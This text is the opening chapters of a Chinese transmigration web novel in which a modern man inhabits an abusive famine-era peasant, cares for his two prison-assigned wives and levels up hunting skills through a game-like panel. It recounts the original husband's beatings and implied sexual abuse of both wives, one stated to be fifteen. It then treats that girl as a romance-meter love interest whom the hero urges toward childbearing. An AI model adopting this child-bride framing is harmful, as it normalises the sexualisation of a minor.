《开局荒年,带着俩媳妇逆天改命》
第一章:一栋破屋,两个媳妇
呼呼呼.....
哐哐哐.....
黑暗中,听到呼呼的风声和木板被大风吹动所产生的撞击声......
什么情况?
迷迷糊糊间李逸只是思考了几秒钟又沉沉睡去.....
将他唤醒的是腹中空空的饥饿感,再次睁开双眼房间里已经有了昏暗的光芒。
李逸赫然发现他并不在出租房里,而是在一间很破旧的木屋内,陈旧单薄的木质房梁,满是孔洞的木窗,一张硬邦邦的破木床,身上盖着脏久破烂已经不保暖的棉被,散发的那种气味就像是十几年没有洗过。
李逸顿时睡意全无,猛地坐起身时又看到在床边地上的草席上,躺着两个衣着破旧蓬头垢面的女人,她们的身上盖着破布两个人紧靠在一起瑟瑟发抖......
什么情况?
李逸感觉自己的脑子有些不够用.....
【姓名:李逸】
【人物属性】
【力量1体质1敏捷1智力1】
【资产】
【破屋一栋(四处漏风)】
【田地四亩(荒废)】
【生存技能】
【狩猎:0/100(入门)】
【耕种:0/100(入门)】
【伴侣】
【于巧倩:好感度0】
【白雪儿:好感度0】
面前出现一个半透明面板,看着上面的文字脑海中一幅幅画面快速略过,随后李逸确认他这是穿越了,穿越到古代这名叫李三的人身上。
不是高武也没有修仙,穿越到兵荒马乱刚结束的饥荒年代。
十三位藩王争霸二十七年导致民不聊生人口锐减,村中皆妇孺,大片土地荒废无人耕种,全民过着食不果腹的悲苦生活。
“卧槽?这是什么开局啊!”
李逸气的爆粗口,这种穿越不穿也罢,还不如回到现代当牛马。
“夫....夫君....”
于巧倩听到声音坐起身小声喊了句,目光闪躲。
李逸顺着声音看去,眼前这女人有着一张消瘦尖俏的瓜子脸,因为太瘦导致她那双眼睛有种不协调的漫画比例,衣裙破旧得看不出本来的颜色。
“我去?还挺漂亮啊!”
李逸很是诧异于眼前女人的五官精准,也想起来最近几天的事情。
四日前....
原主李三因为家里没有半点余粮,就去了趟县衙说要分田种地,他是饿急眼打起了五斤粮种的主意。
天下刚定,大齐王朝初建,齐武帝下令广修农田恢复生产,还鼓励农户们多生育。
藩王争霸把人都打没了,齐武帝就是靠着人多撑到最后,所以他最是知道人的重要性。
国不可无民,没有人谁种地,没有人谁打仗......
县衙的人对李三说,娶一妻可分两亩良田五斤粮种,李三一听乐坏了就打算选五六个身强力壮的媳妇,来年让她们种地,他就可以坐吃等喝。
结果去县衙大牢一看,所剩下的女子都是身单力薄柔弱得很,没办法他就随意挑选了两个,带着10斤粟米种子地契和两个媳妇回家。
才四天的时间粟米种子就被他吃了一斤,一天只给于巧倩和白雪儿一顿饭,他自己则是顿顿吃饱喝足。
李逸一直一言不发,让于巧倩觉得他这是早起气儿不顺了,正在想怎么用她们两个出气。
她本以为从大牢里离开日子会好过些,没想到这李三喜怒无偿,对她们姐妹是百般凌辱打骂。
【李三好吃懒做,跟着他过日子非打即骂还要忍饥挨饿,倩儿还不如随爹娘去了,也免得遭罪.....】
李逸一直盯着于巧倩,她的嘴明明没有动声音是哪来的?
“夫君.....我去煮饭.....”于巧倩说着坐起身。
“呃......行了行了,你歇着吧”
李逸心情烦躁,说话的语气就有些重,吓得于巧倩身体一抖。
这时她旁边的白雪儿也醒来坐起身,白雪儿年方十五,看起来就像个没长开的初中生。
“姐姐.....怎么了?”
白雪儿像只惊慌的小兔子躲在于巧倩身后,看向李逸的眼神畏畏缩缩。
看二女这可怜的模样,李逸想起了原主不仅污了二人的身子,还对她们非打即骂。
李三想找的是身强力壮的婆娘,这样他以后就不用干活,结果县衙给的是这种肩不能扛手不能提的,每每想到她们什么活都干不了还要吃粮,心中自然就一阵窝火。
心中窝火气儿不顺,两个楚楚可怜的媳妇只会让他越看火气越大,自然就要通过打骂发泄怒火。
李逸对原主是一脸嫌弃鄙夷,这样的货真是活该被人穿越。
看着二女这可怜的模样,李逸于心不忍,强压下心情的烦躁语气缓和了些:
“我睡好了,你们两个上床睡吧”
于巧倩和白雪儿缩在一起,眼神畏惧地盯着李逸,白雪儿似是想到什么身体剧烈地颤抖着。
【这李三,大白天又要我们侍寝吗?】
脑海中又出现声音,李逸这次确认声音来源应该是于巧倩的,但于巧倩没有开口说明他这是听到了对方的心声。
【李三,他又要欺负我们了吗?】
紧接着脑海中又出现的心声是白雪儿的,她怯生生的模样大大的眼睛,怎么看都像是一只小兔子。
李逸有些无语,这李三真是活牲口啊,就四天时间给这两个姑娘都吓出应激反应了。
“让你们上床就上床,找打是吧?”
没办法李逸还得借用原主李三的马甲,果然在他发怒后二女连忙爬上床。
于巧倩面如死灰地将脏旧单薄的外衫脱下,她单薄的后背上有很多道触目惊心的红痕和淤青,暗沉的旧伤是在狱中被打的,淤青和血痕则是出自李三之手。
‘哎呦我去!这他妈怎么下得去手啊?’
李逸看得心里难受,那边白雪儿也同样脱下外衫,她的情况不比于巧倩好多少。
“脱什么衣服啊!本大爷今天没兴致,你们给我在床上好好躺着,动多了容易饿,老子哪有那么多粮食喂你们!”
李逸说着大步走出里屋,来到更破旧的外屋。
好家伙.....看到外屋的脏旧破李逸两眼一黑,这是什么魔鬼开局啊?
塌了一半的灶台,锅底锈蚀的破伤风大铁锅,破裂有些渗水的旧水缸,就比家徒四壁强上那么一丁点.....
李逸抱着肩膀眉头紧紧地皱在一起,他所处的位置是大齐王朝的北方,正值深秋天气寒冷,等冬天来了处境会比现在还要艰难。
既来之则安之,眼下再去吐槽穿越的条件有多差没有任何意义,首先需要解决的是温饱问题,不只是他自己的温饱还有于巧倩和白雪儿的。
李逸试着重新呼出人物面板,视线落在两项生存技能上,狩猎和耕种。
耕种现在是深秋又是北方根本不用考虑,而狩猎这大荒村正好紧挨着一片山林。
另外李三的父亲本身就是猎户,李三小时候有过和父亲进山的经历,他也是靠着躲进山林中才避过了几次征兵,否则他也早死在战场上。
李逸从水缸后找出了落灰的弓箭和一把柴刀,来到这里他所能指望的就只有他自己。
锅灶旁有几根枯树枝,小院内看不到有备好的木柴,李三这么好吃懒做还能活到现在,不得不承认他也算是生存有道。
李逸本打算吃些东西再进山,但想着现在已经天光大亮,索性只背了一水囊的水。
于巧倩和白雪儿缩在被窝里,听着李三在外面叮叮当当时不时的自言自语,二人谁都不敢出去,生怕一不小心触霉头又要挨打挨骂。
“姐姐,我好饿啊.....”白雪儿一双大眼睛泪汪汪地盯着于巧倩。
二人在大牢中相识,于巧倩一直对白雪儿照顾有加。
齐武帝登基建国后,其它藩王所属的罪臣子女家眷和商贾子女家眷全部下狱,男丁发配到各处修缮城池城墙,女子没有被送入教坊司和青楼妓馆,全都随着耕地一同下放给各个村镇。
齐武帝是从底层小人物一点点爬上来的,他清楚底层百姓的重要性,也知道起义往往都是从穷苦百姓开始的,所以他称帝的第一件事,就是兴农!
于巧倩同样感觉饥肠辘辘,但李三不发话她们可是不敢私自吃饭,搂着白雪儿单薄的身躯小声安慰:
“雪儿....睡觉吧,睡着就不饿了...”
“嗯.......”
白雪儿应了一声缩在于巧倩怀里闭上双眼.....
李逸走在出村的土路上,入眼全是荒凉破败,难怪要叫大荒村。
村子现在还有三十几户人家,超过二十户是男丁死绝,整个村子里年纪在二十岁到三十岁的男丁超不过五指之数。
所以别看李三是个好吃懒做的主儿但在村里就是饿不死,有些寡妇可是舍不得他这爱翻墙的家伙饿死,多少会接济他些粮食。
感情这李三还是个妇女之友啊!
李逸无语感叹,刚才那个膀大腰圆的婶婶看他的眼神就像是一头饿狼啊,李三为了口吃的是真的拼,某种意义上来说也算是凭本事吃饭。
李逸脸颊抽搐,看惯了新时代的细糠这古代粗粮他是下不去嘴,这吃软饭是一门很讲究天分的技术活,技术成分起码六层楼那么高,所以.....他还是男儿当自强吧.....
第二章:男儿当自强
风卷落叶,已是深秋....
大荒村旁边的山林一眼望去是一片连绵不绝的金黄,树木随着山势起起伏伏,就像是一条盘亘的长龙.....
李逸深呼吸向着山林中走去,山林中厚厚的落叶踩在脚下有些松软,不时的就有落叶纷纷落下,徒步奔走了近一个小时李逸还在这山林的外围,连一只老鼠都没有看到。
李逸在一根枯树干前停下脚步,仔细观察后他面露喜色。
“唉?”
这些黑黑的像耳朵一样的东西不正是木耳嘛!虽然被自然风干都是小小的一个,但只要用清水浸泡不出一小时就能恢复本来的模样。
出门时李逸特意带了个破布袋,现在正好派上用场。
他这次进山不止是尝试打猎,还打算碰运气捡些药材,拿到乡里或者县上的药铺可以换些银钱。
将树干上这些木耳全部用柴刀刮下,刚起身就听到一阵嘎嘎嘎的叫声。
李逸停下动作侧耳倾听,这是野鸡的声音!
他连忙摘下弓箭顺着声音小心翼翼的追过去,在他的脑海中有很多和狩猎相关的知识,甚至还有一些常见野果和药材的辨别,具体是不是李三的记忆现在对他来说已经不重要了。
声音很近,走了几十米就发现了目标。
这只野鸡的个头不大有着长长的尾羽,李逸轻手轻脚地蹲下身,拉弓搭箭,一转眼睁大一只眼闭起瞄准。
手掌松,弓弦动,箭杆擦着野鸡的尾羽飞过,野鸡惊叫着飞走.....
“哎呀我去!就差一点点!”
李逸顿足捶胸,只要再偏一点今晚他就能开荤了,可惜可惜啊....
走过去将箭捡起,李逸诧异地发现视线中多了一行小字。
【狩猎熟练度+1】
回过神李逸迫不及待地进入人物面板,确认了生存技能狩猎有所变化。
【狩猎:1/100(入门)】
由此可以判断数字100就是熟练度,熟练度满了可以提升狩猎技能。
李逸试着连续射空箭但都没有得到系统提示,说明他必须真正的狩猎才会获得相应的熟练度,没有什么系统的空子可以钻。
咕噜噜.....
李逸拍了拍不争气的肚子。
早上就饥肠辘辘,一整天全靠喝水充饥,到下午李逸感觉饿得都要没力气了,他的收获就是些木耳,干蘑,还有一株颜色暗红的灵芝,至少不算是白忙活一天。
因为足够深入山林李逸看到了好几只野兔野鸡甚至还看到了獾子,只可惜每一次他的箭都是差一点,就是这一点导致他一只猎物没有打到。
李逸看了眼天色是时候出山了,继续深入,天黑之前他无法返回村子,夜里山林中的大型猛兽活动频繁,稍有不慎他这出来觅食的人反而成了食物。
仔细辨别了一下方向从原路返回,走了十几分钟后李逸又发现了野鸡,这次不是一只,而是一对儿!
一对在忙着动物世界的野鸡.....
李逸双眼放光,这绝对是一次好机会啊!
缓步靠近,拉弓搭箭,吸取之前几次的教训,李逸这次故意偏了一些瞄准,他觉得一直射不中不止是他箭法的原因,这破旧的弓箭也有一定因素。
弓弦震动弓箭飞,那只尾羽很好看的野鸡被一箭射中发出哀鸣之声。
另一只野鸡丢下它的情郎,嘎嘎嘎惊叫着快速逃离现场。
【狩猎熟练度+30】
“哈哈哈......我来也.....”
李逸大笑着上前捡起自己的战利品,有了这只野鸡他今天一天的忙碌便是值得的,另外在又提升了30熟练度后,狩猎的熟练度已经有63点明天就能升级。
大荒村,村西木屋....
一整天未进一粒米的于巧倩和白雪儿饿得两眼昏花,当人饿到一定程度时根本睡不着,饿到胃部痉挛,不停地分泌酸液,脑子里只会想一件事,就是吃东西。
眼看着天色即将黑下来,离家一整天的李三还没有回来。
于巧倩咬牙起床,她打算煮一些粟米粥来吃哪怕会被李三打,这种折磨人的饥饿感她们实在是无法忍受。
“我回来啦!”
熟悉的声音从院中响起,不多时就来到外屋。
李逸将东西放下后推开里屋的房门,于巧倩和白雪儿还缩在被窝里,她们都目光闪躲着不敢和李逸对视。
李逸看了眼锅灶,没有任何痕迹,说明她们两个同样是饿了一整天,准确来说是接近两天!
因为她们两个的上一顿饭还是昨天早上的稀粥,很稀的那种,一碗水里飘着为数不多的米粒,难怪这二人看起来面色这么差有气无力的。
“夫君回来了....我....我给你煮饭”于巧倩说着就要下床。
李逸皱眉抬手制止:“行了,你看你现在的样子这如果病了我哪有钱给你看病啊,你们躺着吧.....”
李逸故意用李三那种不耐烦的语气,这样二女是断然不敢忤逆他。
【这李三看起来心情好像不好,他不会今晚不给我们吃的吧?】
【李三好像又生气了,他要打我们吗?】
又听到于巧倩和白雪儿的心声,李逸一阵无语。
李三啊李三,你说你这活牲口把她们都欺负成啥样了。
李逸转身回到外屋,李三的形象在二女的心中根深蒂固,想要让她们改观需要些时日,不急于一时。
刚才回来的路上李逸捡了些干柴足够今晚做饭用,去村里的水井挑水,刷破伤风大铁锅,生火烧水,等灶台里的火光亮起,外面的天色也彻底黑了下来。
烧了一锅开水给鸡拔毛去除内脏,李逸觉得他穿越来自力更生的第一餐是值得庆祝的,需要些仪式感,所以他不怕麻烦,好饭也不怕晚。
粟米就是现代的小米,粟米种子外面有谷壳不能直接食用,需要用石臼舂击稻穗,十斤粟米种子于巧倩和白雪儿用了一天才完成脱壳。
等锅里的小米饭煮熟,李逸这边也将野鸡处理好,整只切碎,加了些干蘑和木耳丢进锅里一起煮,调味品只有山里找到的山花椒和少得可怜的粗盐。
于巧倩和白雪儿一直缩在被窝里听李逸一个人在外面忙活,她们先是闻到了粟米煮熟的香味,紧接着就是一股熟悉又陌生的肉香!
白雪儿不可思议的瞪大双眼,不停的吞咽口水:“姐姐,好香啊.....这是在煮肉吧?”
于巧倩将口水咽下点点头:“嗯....不知道李三弄到了什么肉,我们再坚持一下就有饭吃了。”
白雪儿的大眼睛一直盯着房门:“你说....李三他会给我们吃肉吗,我...,,,我好久都没吃肉了.....”
白雪儿的眼里泪汪汪的,入狱之后她连一顿饱饭都没吃过更别说是肉了。
又等了十几分钟,二女期盼的房门终于推开。
“来喽,饭做好喽”
李逸用一个木盆将小米饭端上来,紧接着用大陶碗将煮好的鸡肉也端上桌。
破旧的小木桌中间放着一盏火光摇曳的油灯,旁边是小米饭和一大碗散发诱人香气的野鸡肉,汤水中的金黄油珠在火光的映照中闪闪发亮,就像是一颗颗珍珠。
李逸坐下拿起碗筷,看到床上的二女无动于衷连忙催促:
“你们愣着干什么?吃饭啊不饿吗?”
白雪儿连连点头最先下床,来到桌边她只盛了一碗底的粟米饭就端到一旁蹲在地上吃。
于巧倩心中忐忑,但还是抵不住食物的诱惑上前,她也只盛了一碗底的粟米饭,然后和白雪儿蹲到一起。
李逸想起来了,这是之前李三给她们立的规矩,不能上桌吃饭只能蹲在地上吃,为这二女还遭了他一顿毒打。
李逸放下筷子盯着二人:“都上桌来吃饭,今天本大爷心情好,我不想说第二遍啊。”
【这李三又抽什么风?之前不是说不让我们上桌吃饭吗?】
见李逸面色沉下来,于巧倩和白雪儿不敢犹豫忐忑地在桌边坐下。
刚坐下,李逸一把从白雪儿的手中将碗拿过,白雪儿看着碗中还剩的那些粟米饭下意识伸手,然后意识到什么又连忙缩回手,将头低下。
【我....我还没吃完啊.....】
另一边的于巧倩也停下动作,就在二女以为李三又要开始破口大骂时,却看到他往白雪儿的碗里添了满满一碗粟米饭。
“都饿两天了,多吃点吧”
李逸说着将碗放到白雪儿面前,又看向于巧倩将手伸过去。
于巧倩端着碗的手臂绷紧,眼睁睁的看着李三将碗拿走盛满饭后又放到她面前。
在这荒年寻常人家都是吃稀粥,鲜有人家可以吃干饭。
【这李三今晚怎么了?难不成是打算将我们赶出家门,这是我们的最后一顿饭?】
于巧倩心思玲珑想的比较多,一颗心惴惴不安。
眼看着就要入冬,她们在这个时候被赶出家门很有可能会被冻死饿死在外面。
“吃吧.....”
李逸发话,白雪儿和于巧倩虽然心中忐忑但还是听话的端起碗筷。
粟米饭入口,米香四溢,白雪儿也就顾不得其它埋头大口吃饭。
“唉......真是恶人当惯了,当好人她们看着也是坏人”
李逸无奈自嘲将两个鸡腿分别夹到白雪儿和于巧倩碗里。
二女吃饭的动作停下,她们没想到李三还会分她们肉吃。
看着碗里的鸡腿白雪儿努力地吞咽口水。
“倩儿,雪儿,昨夜爹给我托梦了,说我亏待了两个儿媳好生训斥我,叮嘱我要好好照顾你们,抓紧为我们李家开枝散叶。”
“我觉得爹说的有道理,既然你们过了门那我们以后就是一家人,我李逸发誓,以后会善待你们二人的,有我一口吃的就有你们一口吃的,绝对不会再打骂你们”
这是李逸在做饭时想出的说辞,这个时代的人非常的封建迷信,这么说是很有说服力的。
果然.....白雪儿听闻喜上眉梢,圆溜溜的大眼睛里有水雾流转:
“夫君....你说的是真的吗?只要你不打我们就是少给我们一些饭也行,我会好好服侍你的......”
李逸伸手动作亲昵地揉了揉白雪儿的乱发,白雪儿本能闪躲身体微颤。
“自然是真的,快吃吧,今晚你们能吃多少就吃多少吃到撑为止!”
【白雪儿好感度+10】
白雪儿埋头大口吃饭,和她的心思单纯相比于巧倩还是有些忧虑。
【这李三今天抽什么风,他喜怒无常,一会可能就会觉得我们吃得多,然后又打又骂吧】
听到于巧倩的心声李逸也很无奈,怪就怪三哥的恶毒人设立得太稳。
白雪儿这边刚吃完鸡腿,李逸又给她夹了一块鸡胸肉,粟米饭和粟米粥不同,饭香浓郁,干饭下肚会有那种很清晰的踏实感。
“夫君.....我吃好了.....”
虽然饭肉可口,白雪儿也没有真的就放开吃。
李逸注意到她的眼睛还在撇鸡肉,轻笑一声又给她盛了半碗饭,夹了鸡肉和蘑菇木耳。
“雪儿,你太瘦了多吃点,身体好了才能帮我们李家传宗接代不是。”
“嗯.....知道了夫君”
白雪儿脸颊羞红,轻轻应了一声埋头继续吃饭。
见到于巧倩还是有防备心,李逸也不着急去解释什么,之后相处再让她慢慢改观便是......
第三章:狩猎升级,野猪送上门
吃饱喝足后,李逸连忙将剩余的饭菜仔细收拾妥当。这年头的老鼠饿得精得很,人尚且填不饱肚子,哪有多余的粮食喂它们。
李逸在外屋忙碌着,里屋的木床上,白雪儿和于巧倩正坐在一起。白雪儿眉眼弯成了月牙,小脸满是雀跃,今晚不仅吃了饱饭,还尝到了香嫩的肉,这是她许久未曾有过的满足。
【夫君煮的肉……也太好吃了吧!】
看着白雪儿因一顿饭就卸下了所有防备,于巧倩却眉宇间满是愁云。她实在放心不下,生怕今晚李三又会像从前那样凌辱她们。
很快.....李逸端着一个木盆走了进来,里面盛着温热的水:“你们俩洗洗脸,再泡泡脚。”
他心里其实也打着小算盘,想仔细瞧瞧这两个白捡的媳妇究竟长什么样,之前两人脏兮兮的实在看不清全貌。
当二女洗干净脸蛋,露出原本的模样时,李逸顿时乐开了花。
虽说长期营养不良让她们身形干瘦、皮肤蜡黄、头发干枯,但两人都是实打实的素颜美人胚子,等日后养得丰润些,颜值定能再上一个台阶。
眼看白雪儿和于巧倩又要起身去睡地上的草席,李逸连忙拉住她们,指着床说:“天这么冷,睡地上容易生病,咱们穷苦人家生一场病就可能拖垮全家,从今天起你们也睡床上,咱们三个挤一挤就好。”
“知道了,夫君”白雪儿乖巧地应了一声,转身坐在了床边。
吃饱喝足后,身体渐渐暖和起来,白雪儿的小脸透着健康的红晕,看起来愈发可爱。一顿饱饭便让她暂时淡忘了之前的恐惧,对李逸言听计从。
只有于巧倩,依旧紧绷着神经,满是防备。
油灯被吹熄,房间瞬间陷入一片漆黑......李逸躺在床上,能清晰感受到冷风从四面八方的缝隙钻进来,时而扫过脸颊,时而掠过头顶,时而绕着脚踝打转。
“我靠!这四处漏风的破房子,冬天非得冻死人不可!必须赶在入冬前把房子修缮好!”李逸在心里暗暗盘算着。
三人盖着同一张破棉被,即便横过来盖,也依旧不够用,李逸的半个身子几乎都露在外面。白雪儿小小的一只被夹在中间,早已呼呼酣睡,这是她自家逢变故身陷大牢后,睡得最安稳的一晚。毕竟,夫君刚刚说了,以后不会再打她们了。
而另一边的于巧倩,却辗转反侧难以入眠,始终担心李三会随时翻脸。
黑暗中.....她隐约看到李三坐起身,一只手朝着自己这边伸过来,身体瞬间下意识地绷紧。
【果然!这李三还是露出了本来面目!】
于巧倩心头一沉,苦笑一声。亏她刚才还有那么一瞬间,竟天真地以为李三是真心想要改变。她紧抿着嘴唇,缓缓闭上双眼,强迫自己接受即将到来的羞辱。
然而,那双粗糙的大手并未做出什么过分的举动,只是轻轻将她身上的破棉被往上拉了拉,还仔细掖了掖被角,确认她全身都裹严实了,才重新躺了回去。
于巧倩的眼神在黑暗中闪烁不定,辗转了许久,浓重的困意才终于袭来,让她沉沉睡去。
一夜无话.....
第二天清晨,李逸早早便起了床,挑水、烧水,忙得有条不紊,全然没了往日的懒散模样。
于巧倩本想起身帮忙,可她身上穿的还是单薄的夏衫,早已破旧不堪,深秋的清晨寒意刺骨,这样的衣服根本抵挡不住。
她做好了被李三强迫干活的准备,却听到他说:“不用起来,今天没什么活,我一个人就可以。”
于巧倩愣了愣,想起昨晚吃饭时,李三似乎称呼自己为“李逸”。
身旁的白雪儿还在呼呼大睡,嘴角挂着浅浅的笑意,显然还沉浸在昨晚的美食梦里。
李逸将昨晚剩下的粟米饭用野菜叶子包好,做成了两个扎实的饭团,打算带到山里当干粮。
剩下的米饭则加水熬成了金黄的米粥,昨晚的剩菜不用加热,直接倒进热粥里,凝固的油脂遇热化开,变成一颗颗金黄的小油珠,浮在粥面,香气瞬间弥漫开来。
担心李逸喜怒无常,于巧倩趁着他忙碌的间隙,轻轻唤醒了熟睡的白雪儿。
白雪儿揉着惺忪的睡眼,迷迷糊糊地说:“姐姐,我昨晚梦见吃肉了,那肉香得很呢.....”
于巧倩无奈地笑了笑,这傻丫头竟以为昨晚的饱饭是在做梦。
恰在此时,李逸走进了里屋笑着看向白雪儿:“呦,雪儿是又馋肉了?快起来吃饭,吃饱了才有精神。”
“夫...夫君”白雪儿的脸颊瞬间红了,不好意思地低下头,却又忍不住偷偷抬眼瞄了瞄李逸。
二女忐忑地在桌边坐下,看着李逸端起碗吸溜吸溜地喝着粥,一时间竟有些不知所措。
“愣着干什么?快吃啊。”李逸抬头看了她们一眼:“吃完饭我要上山打猎,你们俩就在家里待着别乱跑,要是饿了自己煮点粟米吃。”
“嗯....”白雪儿乖乖应了一声,拿起筷子在粥碗里搅动了一下藏在下面的肉块瞬间显露出来,分量还不小,她犹豫了一下将肉块夹了出来送到李逸碗边:“夫君要去打猎,还是夫君吃吧。”
李逸又把肉放回了她的碗里,顺手揉了揉她乱糟糟的头发:“不用,我这碗里也有,今天我争取打只野兔回来,晚上给你们烤兔肉吃。”
白雪儿咬了一口肉,浓郁的肉香在口腔里散开,让她恍惚间觉得自己还在梦里,眉眼不自觉地弯成了好看的弧度。
【白雪儿好感度+ 10】
【这肉也太好吃了!一定是在做梦吧...老天爷,求你别让我醒过来啊!】
于巧倩端着碗,眉头微蹙,犹豫了许久,终究还是忍不住开口:
“夫君……衙门给的粟米种子只有十斤,照我们现在的吃法,恐怕还没入冬就会吃光了。到时候……”
后面的话她实在不敢说出口,只能睁着美眸小心翼翼地观察着李逸的表情,怕李逸觉得实在忤逆他,引来一顿打骂。
可出乎她意料的是,李逸非但没有生气,反而微笑着看向她:“倩儿你担心的有道理,不过夫君自有办法。你们放心,有我在就绝不会让你们饿肚子。”
看着李逸信心满满的模样,于巧倩心中的石头稍稍落了些,不再多言,低头小口小口地吃起了粥。
吃过早饭,李逸收拾好东西便迅速出了门,径直朝着山林的方向走去。
深秋过后,天气一天比一天冷,等冬天大雪封山他就只能缩在屋里动弹不得,所以在那之前,他有太多事情要做,时间紧迫,每一天都不能浪费。
他依旧沿着昨天的路线进山,寻常山货不值什么钱,却也能换些零散银钱。
真正值钱的是山中的药材、野味和完整的动物毛皮,寒冬将至,一张完好的兔皮、狐狸皮,到了县城都是紧俏货能卖不少钱。
昨天他明明遇到了七八只野兔,却一只都没能射中。今天他打算在野兔经常活动的区域布置陷阱,陷阱可是狩猎的关键技巧,在野兽常出没的地方下套,有很大的概率活捉猎物。
就在他四处寻觅合适的地点时,忽然看到一只野鸡正在草丛中觅食。
“就是现在!”
李逸眼神一凝,拉满弓弦,猛地松手。
嗖......
利箭破空而出带着尖锐的呼啸声,精准地射中了野鸡。
“中!”
野鸡发出一声短促的哀鸣,扑腾了几下便没了动静。
“耶!”
李逸兴奋地振臂挥拳,没想到今天刚进山就迎来了开门红,果然早起的猎户有肉吃,这趟早起总算没白费!
大吉大利,今晚吃鸡!
【狩猎熟练度+ 30】
看着面板上的熟练度飞速上涨,距离 100点仅一步之遥,李逸越发期待狩猎技能升级后会带来什么惊喜。
他将野鸡绑好挂在腰间继续深入山林,又往前走了半个小时,他停下脚步喝水时忽然发现了地上新鲜的野兽粪便。
没等他仔细思索,脑海中便自然而然地浮现出结论,这大概率是傻狍子的粪便,也有可能是鹿类的。
李逸眼前一亮,心中一阵火热,若是能猎到一头傻狍子或是鹿,弄到县城卖掉足够换一大批粟米和大麦了!
兵乱刚结束,普通百姓十之八九都食不果腹,肉类在如今可是稀罕的奢侈品,只有达官显贵和富商巨贾才消费得起。
他在周围仔细寻觅了一圈,却没能发现更多踪迹,心中不免有些失望。
不过他也清楚,狩猎本就如此,除了需要精湛的技艺,运气和经验也同样关键。
之后的路上他又遇到了几只野兔、野鸡,还有灵活的松鼠,虽然都没能射中但每一次都让他获得了熟练度。
【狩猎熟练度+ 1】
【狩猎熟练度+ 1】
就在他射出一支箭的瞬间,系统提示音突然响起:
【狩猎等级提升!】
【获得奖励:体质+ 1】
【获得奖励:精制弓箭】
【奖励已自动放入物品栏】
【物品栏已开启!】
李逸当场愣住,随即狂喜不已!
没想到狩猎等级提升还能获得额外奖励,这简直是意外之喜!
他立刻召唤出人物面板确认:
【姓名:李逸】
【人物属性】
【力量 1体质 2敏捷 1智力 1】
【资产】
【破屋一栋(四处漏风)】
【田地四亩(荒废)】
【生存技能】
【狩猎:0/500(熟练)】
【耕种:0/100(入门)】
【伴侣】
【于巧倩:好感度 0】
【白雪儿:好感度 20】
之前他已经累得气喘吁吁,如今体质属性增加了1点,只觉得浑身的疲惫瞬间消散,仿佛有使不完的力气。
紧接着,李逸迫不及待地打开了物品栏,只见第一个格子里亮着弓箭的图标,他心中一动,一把精致的硬木弓便出现在了手中,旁边还多了一个皮质箭袋,里面整整齐齐插着二十支箭。
这些箭的箭头都是精铁打造,泛着冷光,锋利无比,箭尾缀着优质箭羽,能大大提升飞行的稳定性和射程。
李逸试着拉动弓弦,手感顺滑,力道也恰到好处,有了这副弓箭他的狩猎成功率定然能大幅提升!
“对了,既然能取东西,能不能放东西进去呢?”
李逸突然冒出这个念头,连忙尝试起来。
他先将家传的旧弓箭收进物品栏,紧接着又把刚射中的野鸡也放了进去,心念一动野鸡便又稳稳落在了掌心。
“鹅鹅鹅……这才是系统该有的样子嘛!”李逸开心地笑出了鹅叫声。
有物品栏辅助就能轻装上阵节省不少体力,良心系统必须给五星好评!
装备升级,信心倍增的李逸决定再往山林深处走一走,若是遇到大型猛兽这把精制弓箭就能派上大用场了。
没走多久他又在地上发现了新鲜的粪便,顺着踪迹往前摸索了一段路,一头足有两三百斤的野猪赫然出现在眼前!
它正靠着树干蹭着痒痒,嘴里哼哧哼哧地喘着气,丝毫没有察觉到危险的临近。
李逸的心脏瞬间狂跳起来,激动得连呼吸都变得有些急促,这可是野猪啊!若是能成功猎到它,这个冬天的温饱问题,基本就解决了!
第四章:野猪入账,雪儿突发疾病
这是一头壮硕的成年雄性野猪,正使劲蹭着树干,嘴里不断发出粗重的哼哧声,浑身的鬃毛都随着动作抖动显得格外凶悍。
“真是好运连连!”
李逸强压下心头的激动与紧张,调整好呼吸节奏,放轻脚步,一点点缓缓逼近。
一步,两步,三步……
前方横亘着一截枯树干,再往前挪必然会踩到散落的树枝,一旦发出声响就会惊动这头野猪。
李逸目测了一下距离,自己与野猪大约相隔二十米,若是用之前老旧的家传弓箭,这个距离即便射中,以野猪皮糙肉厚的体格也很难造成致命伤。
好在系统刚奖励了一把硬木弓,配套的还是锋利的铁制羽剑,这个距离他有十足的把握一击奏效。
迅速拉弓搭箭,双臂肌肉紧绷如铁,弓弦被拉成一个标准的满月,与刚才射野鸡时相比李逸的姿势愈发标准利落,眼神坚定如炬,透着势在必得的锋芒。
眼瞳骤然一缩,李逸屏住呼吸,猛地松开弓弦!
羽箭裹胁着尖锐的厉啸声破空而出,快如残影,那头野猪刚察觉到危险,羽箭便精准命中了它的后腿根部。
“嗷......”
野猪吃痛发出一声急促的怒吼,它没有转身逃窜,反而红着眼睛径直朝着李逸的方向猛冲过来。
野猪本就是凶性十足的杂食动物,不仅不怕人,甚至会主动攻击人类。
李逸沉着后退,心中虽有一丝慌乱,但手上动作丝毫不乱。他迅速从箭袋中抽出第二支箭再次拉弓搭箭,就在野猪即将冲到跟前的瞬间,羽箭精准射出正中野猪的脖颈。
李逸顺势向右翻滚避开冲击,野猪收势不及狠狠撞在他身后的大树上,沉闷的巨响震得树上的黄叶纷纷扬扬飘落。
这一撞让野猪晕了片刻,它晃了晃昏沉的头颅,又要再次发起攻击。
李逸早已调整好身形,第三次拉弓搭箭,箭头直指野猪的眼睛。
“噗嗤!”
鲜血迸射而出羽箭精准命中野猪的右眼,凶性大发的野猪踉跄着向前冲了两步,重重倒在地上,四肢抽搐了几下便没了动静。
【狩猎熟练度+ 50】
“耶!”
李逸激动地原地跳了起来,双手高举过头顶,心中的狂喜难以抑制。
这头野猪来得太及时了,有了它这个冬天的温饱总算有了底气。
快步走到野猪旁,李逸担心这畜生会回光返照临死反扑,便远远站着观察了片刻,直到确认野猪身体彻底停止颤抖没了呼吸,才敢上前。
他先将三支羽箭拔下收好,拍了拍野猪圆滚滚的肚皮,心想这一层厚厚的秋膘足够炼出不少猪油,以后炒菜做饭就有油水了。
李逸将手掌按在野猪身上,心中默念一声,这头两三百斤的野猪便凭空消失,出现在了物品栏中。
还好有系统的物品栏功能,否则凭他现在的身板,想要把这么重的野猪扛回家,简直是天方夜谭。
经过几次尝试,李逸已经摸透了物品栏的规律,必须用手掌直接接触物品才能转移,而且不能是活物,刚才那只野鸡没彻底断气时,他尝试转移就毫无反应。
他狠狠亲了口手中的硬木弓,这可是他未来养家糊口的重要依仗,同时他也发现自己的箭术有了明显提升,拉弓时手不抖、心不慌,这仅仅是狩猎技能提升一级的效果,若是升到下一级,说不定能达到百步穿杨的境界。
“啧啧.....这系统也太实用了!”
